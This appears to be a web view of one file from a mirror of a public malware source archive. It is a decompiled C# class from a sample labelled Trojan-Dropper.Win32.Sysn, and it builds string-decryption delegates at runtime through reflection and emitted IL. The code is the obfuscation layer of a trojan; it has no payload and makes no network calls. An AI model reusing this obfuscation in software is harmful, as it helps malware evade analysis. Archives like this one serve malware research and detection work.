mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
54 lines
1.8 KiB
C#
54 lines
1.8 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
|||
|
|
|||
|
using \u0001;
|
|||
|
using System;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Reflection;
|
|||
|
using System.Reflection.Emit;
|
|||
|
|
|||
|
namespace \u0001
|
|||
|
{
|
|||
|
internal static class \u0003
|
|||
|
{
|
|||
|
public static void \u000F()
|
|||
|
{
|
|||
|
Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
|
|||
|
foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if ((object) field.FieldType == (object) typeof (\u0002))
|
|||
|
{
|
|||
|
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
|
|||
|
{
|
|||
|
typeof (int)
|
|||
|
}, declaringType, true);
|
|||
|
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
|
|||
|
ilGenerator.Emit(OpCodes.Ldarg_0);
|
|||
|
foreach (MethodInfo method in typeof (\u0004).GetMethods(BindingFlags.Static | BindingFlags.Public))
|
|||
|
{
|
|||
|
if ((object) method.ReturnType == (object) typeof (string))
|
|||
|
{
|
|||
|
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
|
|||
|
ilGenerator.Emit(OpCodes.Sub);
|
|||
|
ilGenerator.Emit(OpCodes.Call, method);
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
ilGenerator.Emit(OpCodes.Ret);
|
|||
|
field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|